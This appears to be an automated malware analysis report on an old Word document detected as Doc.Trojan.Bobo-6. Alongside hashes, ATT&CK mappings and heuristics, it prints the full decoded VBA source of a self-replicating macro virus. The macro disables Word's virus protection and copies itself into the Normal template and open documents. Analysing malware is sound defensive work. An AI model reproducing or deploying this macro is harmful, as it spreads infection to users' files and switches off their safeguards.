Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1dd511fcefbf64e2…

MALICIOUS

Office (OLE)

27.5 KB Created: 2001-06-08 10:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6666d142a0bbe49171df9099213499d1 SHA-1: f1bd080ecee54cfcfaab7d88947addfd769314a7 SHA-256: 1dd511fcefbf64e297f33e7096189a7fb7f81df488dab8c789358b97dbcdd6cc
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon document opening. The macro attempts to copy itself to the Normal template and the active document, suggesting an intent to establish persistence. The ClamAV detection 'Doc.Trojan.Bobo-6' further supports the malicious nature of the file.

Heuristics 4

  • ClamAV: Doc.Trojan.Bobo-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bobo-6
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1603 bytes
SHA-256: 698fcc23ba172e8722902c61426d80ab82c26ea531bf48134ea258e57659bd24
Detection
ClamAV: Doc.Trojan.Bobo-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Modulo1"
Sub autoOpen()
Attribute autoOpen.VB_Description = "Macro creada el 09/04/96 por osvald"
Attribute autoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
Options.VirusProtection = False
  If NormalTemplate.VBProject.Protection = False And ActiveDocument.VBProject.Protection = False Then
   t = False
  s = ActiveDocument.Path + "\" + ActiveDocument.Name
  ss = NormalTemplate.Path + "\" + NormalTemplate.Name
  For Each mhac In NormalTemplate.VBProject.vbcomponents
    If mhac.Name = "Modulo1" Then t = True
  Next mhac
  If t = False Then
     Application.OrganizerCopy Source:=s, Destination _
     :=ss, Name:="Modulo1", Object:=wdOrganizerObjectProjectItems
     If Err.Number <> 0 Then
       Exit Sub
     End If
     If Err.Number <> 0 Then
       Exit Sub
     End If
  End If
  t = False
      For Each mhac In ActiveDocument.VBProject.vbcomponents
         If mhac.Name = "Modulo1" Then t = True
      Next mhac
      If t = False Then
         Application.OrganizerCopy Source:=ss, Destination _
         :=s, Name:="Modulo1", Object:=wdOrganizerObjectProjectItems
         If Err.Number <> 0 Then
      Exit Sub
     End If
     ActiveDocument.Save
     If Err.Number <> 0 Then
       Exit Sub
      End If
   End If
End
Else
 MsgBox "Bobo"
End If
End Sub